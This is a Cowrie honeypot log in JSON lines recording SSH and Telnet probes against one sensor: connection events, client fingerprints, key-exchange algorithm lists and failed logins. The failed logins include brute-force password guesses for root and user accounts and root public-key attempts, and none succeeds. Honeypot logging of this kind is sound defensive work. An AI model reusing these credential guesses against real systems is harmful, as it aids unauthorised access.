{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:09.643685Z","src_ip":"103.15.226.202","session":"82a5676fbacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a@","message":"login attempt [root/123456789a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:10.366653Z","src_ip":"103.15.226.202","session":"82a5676fbacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:11.609053Z","src_ip":"103.15.226.202","session":"82a5676fbacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10099,"dst_ip":"10.17.0.5","dst_port":23,"session":"4990ea6e29d9","protocol":"telnet","message":"New connection: 212.55.149.117:10099 (10.17.0.5:23) [session: 4990ea6e29d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:21.386896Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.44","src_port":60446,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc80cd3ed7ad","protocol":"telnet","message":"New connection: 85.217.149.44:60446 (10.17.0.5:23) [session: bc80cd3ed7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:24.335334Z"}
{"eventid":"cowrie.session.closed","duration":0.031613826751708984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:24.366819Z","src_ip":"85.217.149.44","session":"bc80cd3ed7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":64849,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d7802d2e5a","protocol":"ssh","message":"New connection: 27.74.248.52:64849 (10.17.0.5:22) [session: a4d7802d2e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:29.984342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:29.989730Z","src_ip":"27.74.248.52","session":"a4d7802d2e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:30.442704Z","src_ip":"27.74.248.52","session":"a4d7802d2e5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:31.804904Z","src_ip":"27.74.248.52","session":"a4d7802d2e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:45:33.265446Z","src_ip":"27.74.248.52","session":"a4d7802d2e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.92071008682251,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:21.307501Z","src_ip":"212.55.149.117","session":"4990ea6e29d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9447,"dst_ip":"159.203.135.109","dst_port":22,"session":"7530efdeab27","protocol":"ssh","message":"New connection: 2.57.121.25:9447 (159.203.135.109:22) [session: 7530efdeab27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:47.534463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:47.541374Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:47.639966Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140285","message":"login attempt [user/140285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:48.100533Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021993","message":"login attempt [user/14021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:49.203322Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"135799","message":"login attempt [user/135799] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:50.443789Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13572468","message":"login attempt [user/13572468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:51.543454Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"135135","message":"login attempt [user/135135] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:52.642945Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:46:53.742253Z","src_ip":"2.57.121.25","session":"7530efdeab27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":59760,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a6fb43284a","protocol":"telnet","message":"New connection: 129.232.238.42:59760 (159.203.135.109:23) [session: c4a6fb43284a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:47:58.219779Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.39.24.191","src_port":53684,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb583484704","protocol":"telnet","message":"New connection: 1.39.24.191:53684 (159.203.135.109:23) [session: beb583484704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:00.284178Z"}
{"eventid":"cowrie.session.closed","duration":13.390796422958374,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:13.674788Z","src_ip":"1.39.24.191","session":"beb583484704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.6","src_port":51054,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a654ce70c8","protocol":"ssh","message":"New connection: 185.134.49.6:51054 (10.17.0.5:22) [session: 97a654ce70c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:18.473778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:18.480520Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:18.603423Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:5c:6f:85:dd:63:09:c7:96:dd:7f:fa:20:40:8b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLG4EgmyX1+9pC967pddlXcmaBsIXY+Hvle38DPaxbS8/L3scJeGtMqWMnGJuNjHC9E0JbUnTyr5FLhvpYG+uhe6qPunlupyro8SA7yR8MWA6PzEwgeOu8CZxBzpZHrZ/jdtReBc9gUv3T7rx/rYFgMmtl+Y7pFJVFxmCKU/rIz3w2c9DBmeg8NJrheVO7tBcjbnPAT10WuQB7rrJMsiSdLI+DCy7PZTtrwd9oJcNe38KOzWMo3VgHmVFtB1w+wxOaiB6h9QIWysyEacylWoAbcqy4A87rHw/nCvJu6X5OWbQi3vWAoxCIaxZ3/NLaxrWoC37M3a3oMtF31+NFm8r7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:5c:6f:85:dd:63:09:c7:96:dd:7f:fa:20:40:8b:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.177351Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:5c:6f:85:dd:63:09:c7:96:dd:7f:fa:20:40:8b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLG4EgmyX1+9pC967pddlXcmaBsIXY+Hvle38DPaxbS8/L3scJeGtMqWMnGJuNjHC9E0JbUnTyr5FLhvpYG+uhe6qPunlupyro8SA7yR8MWA6PzEwgeOu8CZxBzpZHrZ/jdtReBc9gUv3T7rx/rYFgMmtl+Y7pFJVFxmCKU/rIz3w2c9DBmeg8NJrheVO7tBcjbnPAT10WuQB7rrJMsiSdLI+DCy7PZTtrwd9oJcNe38KOzWMo3VgHmVFtB1w+wxOaiB6h9QIWysyEacylWoAbcqy4A87rHw/nCvJu6X5OWbQi3vWAoxCIaxZ3/NLaxrWoC37M3a3oMtF31+NFm8r7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.180943Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:41:f1:32:ad:a7:19:93:36:7c:d1:ce:70:6d:a5:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs+Jvddc2lwoLVIY21vIu3XMe8+FnP8dlyPwJzsDbpSiUSgQpi+r/fJjlspJUfoYLYKp3DIBa2bsZ1aAVs2xUiEPBZkdbsiBym+EehgPC4IOvIZ9fT7XdsQgqWPN84Sc0o4gsu293QXr+yMUNohuS9/1yQTIyzBwc1EPMo2Gah3WSoBarDHoN8XvixQPR2nVRt2ivwjQ3bIVi5WLCg61KI1EjJt+dfxBDYCiBRKzKWJHoZfNMPAwA5aXTW9PpQ0jucbfy4aaAQ0kW05N59Cq3bF3PJmVsd5Z6DSWMsIwxvL572aOFc8+0bmBnHCdNRirY3MMZ0PlWrropPJRJcWFRv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:41:f1:32:ad:a7:19:93:36:7c:d1:ce:70:6d:a5:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.300564Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:41:f1:32:ad:a7:19:93:36:7c:d1:ce:70:6d:a5:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs+Jvddc2lwoLVIY21vIu3XMe8+FnP8dlyPwJzsDbpSiUSgQpi+r/fJjlspJUfoYLYKp3DIBa2bsZ1aAVs2xUiEPBZkdbsiBym+EehgPC4IOvIZ9fT7XdsQgqWPN84Sc0o4gsu293QXr+yMUNohuS9/1yQTIyzBwc1EPMo2Gah3WSoBarDHoN8XvixQPR2nVRt2ivwjQ3bIVi5WLCg61KI1EjJt+dfxBDYCiBRKzKWJHoZfNMPAwA5aXTW9PpQ0jucbfy4aaAQ0kW05N59Cq3bF3PJmVsd5Z6DSWMsIwxvL572aOFc8+0bmBnHCdNRirY3MMZ0PlWrropPJRJcWFRv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.304684Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:52:ff:a4:b4:80:2e:6d:ea:ee:23:3d:31:12:56:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq8VreRBj5gwXkkcNTaF4+LW044Z7vo3kQU56sMbp29Ozcrkch7xdbmrzz/45pIujygv3vl/2nNO2zmZWsV1Exth/eX1FaGcrF/0gAlYO5SR4Q+SiotXvz6rd3xb8nh91g649SdOx50Z9u3V1BEiGji3AYr1fvwVD2bhMVK1WaHUkq18FWS03ts4DIeUu918Q2Nio3tuidP+t4GJ9iqPLd+C4DG68szp82DmvgwaPUh0YrZcdv/3GbvDUr//Q9Zyk6I8HC0yRRresx+UmpbkV8aXqCmRVpK9YdSlVOmbbdLqs5tFIIHLulKv4mbeP2XzjHCK985yhJ5ywGhCqLAE5R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:52:ff:a4:b4:80:2e:6d:ea:ee:23:3d:31:12:56:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.425054Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:52:ff:a4:b4:80:2e:6d:ea:ee:23:3d:31:12:56:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq8VreRBj5gwXkkcNTaF4+LW044Z7vo3kQU56sMbp29Ozcrkch7xdbmrzz/45pIujygv3vl/2nNO2zmZWsV1Exth/eX1FaGcrF/0gAlYO5SR4Q+SiotXvz6rd3xb8nh91g649SdOx50Z9u3V1BEiGji3AYr1fvwVD2bhMVK1WaHUkq18FWS03ts4DIeUu918Q2Nio3tuidP+t4GJ9iqPLd+C4DG68szp82DmvgwaPUh0YrZcdv/3GbvDUr//Q9Zyk6I8HC0yRRresx+UmpbkV8aXqCmRVpK9YdSlVOmbbdLqs5tFIIHLulKv4mbeP2XzjHCK985yhJ5ywGhCqLAE5R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.429331Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:19:df:2f:be:0f:2a:6b:d7:c7:fd:7f:16:2e:10:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtKbQWnJHnLmI6AZwfBGzK4qymuvLATHej1sxe0nG6aJEMDcWNpnULVOFRTxSWA6mFGj61ry/ZUd3jh7brgI0RvMzfOg7ZSGEwJXTV0F3rAsSSZV8I0qtAVA0TyxniOybywtNrhukIgWCVWxPHHxQvCMHxQY/qmxqXraaxNIuRY4wGWAElJR/0I2PUjpLcDt25ZjNyFa8cLkafkSyCxq/YzXHw6JSPBC/lkmWcUcorIQNfuqQQTF4wzHvALe3J9CCgs7xJS1P0rMUc/GQhuwlg9tnSPFcAHMS6l4EG+gbi3mrEhLWuc+dC7JKMcXs3eT5ARqRAvVmR+f7TuA3et+Kkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:19:df:2f:be:0f:2a:6b:d7:c7:fd:7f:16:2e:10:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.550408Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:19:df:2f:be:0f:2a:6b:d7:c7:fd:7f:16:2e:10:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtKbQWnJHnLmI6AZwfBGzK4qymuvLATHej1sxe0nG6aJEMDcWNpnULVOFRTxSWA6mFGj61ry/ZUd3jh7brgI0RvMzfOg7ZSGEwJXTV0F3rAsSSZV8I0qtAVA0TyxniOybywtNrhukIgWCVWxPHHxQvCMHxQY/qmxqXraaxNIuRY4wGWAElJR/0I2PUjpLcDt25ZjNyFa8cLkafkSyCxq/YzXHw6JSPBC/lkmWcUcorIQNfuqQQTF4wzHvALe3J9CCgs7xJS1P0rMUc/GQhuwlg9tnSPFcAHMS6l4EG+gbi3mrEhLWuc+dC7JKMcXs3eT5ARqRAvVmR+f7TuA3et+Kkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.555460Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:f4:76:b3:85:d8:9b:9a:b6:74:0d:95:74:88:3b:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGLtTcVOoS4Q+J4XjYtTTBFpo0VIkxmY2Ru7EfJzeD81ac7BFcmZ+flINSylfGjO3ikNlGZjQwfy6jVMoOlzYyOuJ0BKa8Gq1FrH6CkmcBkYRHYYPdyY/RaigKIu+geyL5YAG1H7bmva7w/nN8HqTsG9ibdJUuRzbOBDsz1JsrxAwpEJya1Ir4ZchyYugIO2IUwCGfb+xSKECkWfUeovYRpRkP/xuJkDcuhOTA25Qs16sLT7FL4+UezRKUCYX5DCAWvpO85qIpu+y+5tAHGpoRTdH7H3cVKd22vY8+BJO3UFsD5GgLiEGDYmjNwbHjdRefyrChiOL3LdUacdHLBZSv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:f4:76:b3:85:d8:9b:9a:b6:74:0d:95:74:88:3b:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.686995Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:f4:76:b3:85:d8:9b:9a:b6:74:0d:95:74:88:3b:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGLtTcVOoS4Q+J4XjYtTTBFpo0VIkxmY2Ru7EfJzeD81ac7BFcmZ+flINSylfGjO3ikNlGZjQwfy6jVMoOlzYyOuJ0BKa8Gq1FrH6CkmcBkYRHYYPdyY/RaigKIu+geyL5YAG1H7bmva7w/nN8HqTsG9ibdJUuRzbOBDsz1JsrxAwpEJya1Ir4ZchyYugIO2IUwCGfb+xSKECkWfUeovYRpRkP/xuJkDcuhOTA25Qs16sLT7FL4+UezRKUCYX5DCAWvpO85qIpu+y+5tAHGpoRTdH7H3cVKd22vY8+BJO3UFsD5GgLiEGDYmjNwbHjdRefyrChiOL3LdUacdHLBZSv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.691111Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:19.812866Z","src_ip":"185.134.49.6","session":"97a654ce70c8","protocol":"ssh"}
